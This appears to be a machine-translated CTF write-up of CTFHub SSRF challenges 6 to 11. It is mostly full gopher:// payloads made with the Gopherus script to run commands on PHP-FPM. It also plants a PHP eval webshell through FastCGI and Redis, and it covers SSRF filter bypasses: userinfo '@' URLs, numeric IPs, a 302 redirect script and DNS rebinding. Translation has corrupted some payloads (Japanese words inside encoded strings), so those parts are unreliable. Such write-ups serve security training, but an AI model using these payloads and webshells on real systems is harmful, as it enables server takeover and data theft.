CTFHubに基づくSSRF詳細解説(その2)

      この記事ではSSRF(Server Request Forgery)について簡単に解説します。CTFHub の質問例を通じて、SSRF の基本原理、活用方法、バイパス方法などを理解してもらいます。CTFHub のアドレスは次のとおりです。

目次

トピック 6 FastCGI プロトコル

方法 1 リモート コード実行 RCE

方法 2 WebShell + Ant Sword 接続をアップロードする

質問 7 Redis プロトコル

質問 8 URL バイパス

質問 9 デジタル IP バイパス

質問 10 302 ジャンプバイパス

質問 11 DNS 再バインドのバイパス

エピローグ 


最初の 5 つの質問の詳細については、前のブログを参照してください。

https://blog.csdn.net/Bossfrank/article/details/130431117

トピック 6 FastCGI プロトコル

このトピックの調査ポイントは、SSRF が gopher プロトコルを通じて FastCGI を攻撃するということです。FastCGI とは何かについては、以下のブログを参照してください。説明は省略します。簡単に言うと、FastCGI プロトコルは、サーバー ミドルウェアと特定の言語バックエンド (PHP) の間でデータを交換するためのプロトコルです。

(メッセージ数 46 件) Fastcgi プロトコル解析 && PHP-FPM 不正アクセス脆弱性 && Exp writing_php fcgiclient_mysteryflower のブログ - CSDN ブログ

方法 1 リモート コード実行 RCE

この記事ではスクリプト gopherus.py を使用します。このスクリプトは SSRF の脆弱性を悪用し、リモート コード実行 RCE または getShell を引き起こすペイロードを直接生成できます。ダウンロード アドレスについては、mirrors/tarunkant/Gopherus · GitCode を参照してください

対応するディレクトリで gopherus.py を実行し、次のように入力します。

python2 gopherus.py –exploit fastcgi

 次に、index.php ディレクトリに入り、ls を実行します。

 操作の結果は次のようになります。

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00% 01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VAL UEallow_url_include%20%3D%20オン%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01 %04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-- ---SpyD3r 製-----%0A%27%29%3B%3F%3E%00%00%00%00

次に、生成されたペイロードを再度エンコードします。コードは次のとおりです。 

import urllib.parse

payload = "gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00"
tmp = urllib.parse.quote(payload)
print(tmp)

出力は次のとおりです。

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500 %2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%250 2CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D% 2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500 %2500%2500% 2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527ls%2527%2529%253Bdie%2 528%2527- ----SpyD3r 製-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

この結果を URL に入力すると、確かに、ディレクトリにindex.php が存在します。

同じ方法を使用してルート ディレクトリを読み取ります (フラグがルート ディレクトリにあるかどうかを知る方法は尋ねないでください。直感に聞いてください!)。今回の RCE のコマンドは ls / です。

python2 gopherus.py –exploit fastcgi
/var/www/html/index.php
ls /

 gopherus スクリプトを実行した結果は次のようになります。

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00% 01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VAL UEallow_url_include%20%3D%20オン%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01 %04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28% 27-----SpyD3r 製-----%0A%27%29%3B%3F%3E%00%00%00%00

次に、URL エンコードを 2 回実行すると、結果は次のようになります。

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500 %2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%250 2CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D% 2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500 %2500%2500% 2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2504%2500%253C%253Fphp%2520system%2528%2527ls%2520/%2527%2529%2 53Bdie%2528 %2527-----SpyD3r 製-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

これを URL に入力すると、ルート ディレクトリの構造が正常に検出され、同時に flag_52cc1357979c158b0cb02c8ff00b83b1 が表示されました。それは私たちが望む旗であるはずです

 したがって、次のステップは cat /flag_52cc1357979c158b0cb02c8ff00b83b1 です。

python2 gopherus.py –exploit fastcgi
/var/www/html/index.php
cat /flag_52cc1357979c158b0cb02c8ff00b83b1

 次に、再度コーディングします。コードは同じです。

import urllib.parse

payload =\
"gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH94%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5E%04%00%3C%3Fphp%20system%28%27cat%20/flag_52cc1357979c158b0cb02c8ff00b83b1%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00"
tmp = urllib.parse.quote(payload)
print(tmp)

2 番目の URL エンコードの結果は次のようになります。

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500 %2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%250 2CONTENT_LENGTH94%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D% 2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500 %2500%2500% 2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%255E%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/flag_52cc13 57979c158b0cb02c8ff00b83b1%2527%2529% 253Bdie%2528%2527-----SpyD3r 製-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

これを URL に入力すると、以下に示すように、ctfhub{3c246ea1822682d68cd03c2d} としてフラグを取得できました。

方法 2 WebShell + Ant Sword 接続をアップロードする

最初のメソッドでもフラグを取得できますが、非常に面倒です。リモート コードが RCE コマンドを実行するたびに、gopherus スクリプトを実行する必要があります = "セカンダリ URL エンコーディング = ペイロードを GET リクエストに入れます。フラグの実際の位置がわかりません。フラグを見つけるためにどれだけの命令を実行すればよいかわかりません。そこで私たちは、単純に Web シェルをアップロードし、Ant Sword を使用して接続してこのサーバーを直接停止し、フラグを見つけやすくすることを考えました。gopherus スクリプトを使用して Webshel​​l をアップロードすることもできます。

 

python2 gopherus.py –exploit fastcgi
/var/www/html/index.php
echo "<?php eval(\$_POST[123]);?>" >1.php

Webシェルをアップロードするステートメントは、名前は1.phpです。

echo "<?php eval(\$_POST[123]);?>" >1.php

gopherus スクリプトの出力は次のとおりです。

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00% 01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH93%0E%04REQUEST_METHODPOST%09KPHP_VAL UEallow_url_include%20%3D%20オン%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01 %04%00%01%00%00%00%00%01%05%00%01%00%5D%04%00%3C%3Fphp%20system%28%27echo%20%22%3C%3Fphp%20eval %28%5C%24_POST%5B123%5D%29%3B%3F%3E%22%20%3E1.php%27%29%3Bdie%28%27-----SpyD3r 製 ---- -%0A%27%29%3B%3F%3E%00%00%00%00

次に、同じ方法を使用して URL を 2 回エンコードすると、結果は次のようになります。

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500 %2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%250 2CONTENT_LENGTH93%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D% 2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500 %2500%2500% 2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%255D%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520%2522%25 3C%253Fphp% 2520eval%2528%255C%2524_POST%255B123%255D%2529%253B%253F%253E%2522%2520%253E1。php%2527%2529%253Bdie%2528%2527-----SpyD3r 製-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

エンコードされた結果を URL に入力すると、1.php という名前の Web シェルが正常にアップロードされ、次の図に示すように Ant Sword に接続されます。

接続は成功しました!ディレクトリ リストがすべて取得され、検索したところ、ルート ディレクトリにフラグが隠されていることがわかりました。

 ルート ディレクトリのフラグを確認します。

質問 7 Redis プロトコル

この質問の考え方は基本的に前の質問と同じですが、攻撃の対象が Redis に変更されており、Web シェルをアップロードして ant Sword に接続してディレクトリ内のフラグを見つけるという考え方です。

Redis は、デフォルト ポート 6379 を備えた一般的なオープン ソース インメモリ データ管理システムです。クライアントと Redis サーバーはこのポートを介して通信し、クライアントが Redis サーバーに接続すると、そのサーバー内のデータの読み取りと書き込みが可能になります。したがって、このポートは攻撃者の一般的なターゲットでもあります

この質問は gopherus を使用して攻撃することができます。コマンドは次のとおりです。

python2 gopherus.py –exploit redis
PHPShell

<?php eval($_POST["aaa"])?>

 gopherus スクリプトを実行した結果は次のようになります。

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1% 0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22aaa%22%5D%29%3F%3E%0A%0A%0D%0A%2A4%0D% 0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4% 0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D% 0A%244%0D%0保存%0D%0A%0A

上記の質問と同じですが、URLを再度エンコードします(コードは同じです)。

import urllib.parse

payload =\
"gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22aaa%22%5D%29%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"
tmp = urllib.parse.quote(payload)
print(tmp)

操作の結果は次のようになります。

gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%25 0D%250A1 %250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522aaa%2522%255D%2529%253F%253E%250A%250A%250D% 250A%252A4%250D %250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%2 52A4 %250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%25 0A%252A1%250D %250A%25244%250D%250A保存%250D%250A%250A

次に、彼を URL に追加し、長時間待ちます。以下に示すように、504 ゲートウェイがタイムアウトしたと表示されます。

 ただし、WebShell のアップロードには影響しないはずです。Ant Sword にリンクしてみましょう。場所は /shell.php です。

  探索を続けると、ルート ディレクトリにフラグがあることがわかります。

開けるだけです。フラグは ctfhub{f904cae1a1778830f6980455} 

質問 8 URL バイパス

このトピックから、SSRF 脆弱性を悪用する際のさまざまなバイパス方法が紹介されます。

このトピックでは、要求されたURL にはhttp://notfound.ctfhub.comが含まれている必要があると述べています。次のように、 URLの特別な部分を使用してこの制限を回避し、リンクを開いてみましょう。

 まずは http で 127.0.0.1/flag.php にアクセスできるか試してみますと、結果は以下のようになり、最初のページと同じです。

 URL はhttp://notfound.ctfhub.comで始まる必要があると彼は言いましたが、この質問の核心は、URL に http://notfound.ctfhub.com が含まれている必要があり、アクセスするアドレスが 127.0 であることです。 0.1/flag.php。

OK、それでは http://[email protected]/flag.php を使用します。ここで、@ はメインのドメイン名解決です。つまり、ドメイン名のすぐ後に @ 記号が続き、その前にコンテンツが続きます。 @ 記号はユーザー名とみなされ、http://notfound.ctfhub.com というユーザー名で 127.0.0.1/flag.php にアクセスするのと同じです。ユーザー名が何であっても、キーは次のとおりです。 @ の後のアドレスが解析されたアドレスであることを確認します。

 これは正常にバイパスされます。

質問 9 デジタル IP バイパス

 

url=file:///var/www/html/index.php を使用してソース コードを表示し、プロンプト 127、172、@、. およびその他の記号は禁止されています。 直接アクセス url=http:/ の効果を試してみましょう。 /127.0 .0.1/flag.php、実際には次のような効果があります。

次に、それを回避する方法を見つけます。さまざまな拠点でバイパス可能

 IP アドレスはさまざまな基数で表現できますが、IP アドレスをさまざまな基数に変換するための Web サイトは次のとおりです。IPアドレス変換(520101.com)

 たとえば、10 進数の 2130706433 や 16 進数の 0x7F000001 をバイパスする方法は多数あります。

または、localhost、 http://0/など、 127.0.0.1 を指す他のアドレスを使用します。

質問 10 302 ジャンプバイパス

 file を使用してソース コードを表示します。これは前の質問とあまり変わりません。

 前の質問の方法を使用してみてください。残念ながら、フラグをバイパスして直接フラグを取得できます。また、基本システムを使用してフラグをバイパスすることもできます。

ただし、この質問では 302 ジャンプを使用するように指示されているため、他のアイデアを使用する必要があります

1 つは、302 リダイレクトされた PHP をパブリック ネットワークにデプロイし、このパブリック ネットワークの IP にアクセスすると、127.0.0.1 にリダイレクトされます。

デプロイする302.phpは以下のとおりです。

<?php
    header("HTTP/1.1 302 found"); 
    header("Location:http://127.0.0.1/flag.php");
    exit();
?>

たとえば、111.111.111.222 の vps に 302.php をデプロイするには、url=111.111.111.222/302.php を作成するだけです。パブリック ネットワーク上に vps がないため、この方法は役に立ちません。また、この質問では 192 もフィルタリングされるため、ローカル サーバーの展開は受け入れられません。

次のアイデアは、次の Web サイトなど、短いリンクを使用してジャンプすることです。この Web サイトを使用して短いリンクを生成します (時間制限があり、読者は私のリンクを直接コピーすることはできません。自分で生成する必要があります)。

Wangzhiying 短縮 URL - 短縮リンク生成_傍受防止_カスタム ジャンプ方法_カスタム ドメイン名_データ統計_API インターフェイス_強力なマーケティング ツール (52dwz.cn)

 

結果はhttp://da4.cc/TFmj7です。この場合、この短いリンクにアクセスすることは、127.0.0.1/flag.php にアクセスし、この短いリンクを URL に書き込むことと同じであり、成功です。 

 2 つのアイデアは、Web ページを転送として使用することと、再度 127.0.0.1/flag.php にリダイレクトすることです。転送 Web サイトの URL はサーバーのフィルタリングをバイパスできます。

質問 11 DNS 再バインドのバイパス

ファイルを使用してソースコードのindex.phpとflag.phpを表示します。

 上の質問とはかなり違う気がしますが、localhostでアクセスすると127.0.0.1からしかアクセスできないと表示されます。

 16 進数変換をバイパスできるかどうかをもう一度試してみたところ、16 進数システムはバイパスできることがわかりました。

 しかし、10進数は機能しないようです:

ただし、このトピックのタイトルを見ると、問題を解決するには DNS リバインディングを使用する必要があることがわかります。ここで詳しく説明します。

ユーザーが要求した URL パラメーターに対して、サーバーはまず DNS 分析を実行し、DNS サーバーから返された IP アドレスを判断し、ブラックリストに含まれていればフィルターを通過します。失う

ただし、プロセス全体では、最初に DNS サービスにドメイン名解決を要求したときと、サーバーが 2 回目に URL を要求したときとの間には時間差があり、この時間差を利用して、DNS リバインディング攻撃を実行できます。この技術では、初めて IP がチェックされると、正当な IP が返され、実際にリクエストが開始されると、実際にアクセスしたいイントラネット IP が返されます。

DNS リバインディング攻撃を完了するには、ドメイン名が必要です。このドメイン名の解決を独自の DNS サーバーに割り当て、制御可能な DNS サーバーに解決サービスを書き込み、TTL 時間を 0 に設定します。これは、A 攻撃を防ぐためです。 DNS サーバーは解決結果をキャッシュします。このようにして攻撃が実行されます。完全な攻撃プロセスは次のとおりです。

1. サーバーは URL パラメーターを取得し、初めて DNS 解決を実行し、非イントラネット IP を取得します。

2.取得したIPを判断し、ブラックリストに含まれていないIPであることが判明した場合、検証に合格します。

3. サーバーが URL にアクセスすると、DNS サーバーが設定した TTL が 0 のため、再度 DNS 解決が実行され、今度は DNS サーバーはイントラネット アドレスを返します

4. 検証がバイパスされたため、サーバーはイントラネット リソースへのアクセス結果を返します。

DNS 再バインドを実行するには、次の Web サイトを使用します。

brbndr.us DNS 再バインド サービス (cmpxchg8b.com)

 

バインドされた 2 つの IP のうち 1 つは 127.0.0.1 であることが保証されています。ここではそれを 192.168.0.1 にバインドしました。結果は次のようになります。

7f000001.c0a80001.rbndr.us

したがって、url=7f000001.c0a80001.rbndr.us/flag.php では、このドメイン名は 2 つの IP アドレス (同時に 1 つだけ) をバインドするのと同じであることに注意してください。これは、IP が 127.0 であるかどうかを判断することができないためです。 DNS 検証 .0.1 を実行すると、1 回のリクエストが成功しない可能性があります。数回更新してください。

写真の通り、無事にフラッグを取得することができました!

エピローグ 

このブログでは、SSRF 脆弱性に関する CTFHub の質問 6 ~ 11 を詳細に説明し、2 つのミドルウェア FastCGI と Redis を含む SSRF 脆弱性を持つサーバーを gopherus スクリプトがどのように攻撃するかを紹介し、また、以下のようなフィルタリング方法をバイパスするいくつかの方法も紹介します。

  1. @ 記号はバイパスされます
  2. 10 進数/16 進数のバイパス
  3. localhost、http://0/ などの 127.0.0.1 アドレス バイパスを指定します。
  4. 302 リダイレクト バイパス (フラグを指すように VPS 上でリダイレクトされた 302.php をビルド、ショート アドレス バイパス)
  5. DNS再バインドのバイパス 

 次回のブログでは、SSRFをはじめとするWeb脆弱性について、SSRFの原理、発生シナリオ、悪用手法、バイパス手法、防御手法など多角的にまとめていきますので、読者の皆様のご支援をお待ちしております。

おすすめ

転載: blog.csdn.net/Bossfrank/article/details/130432593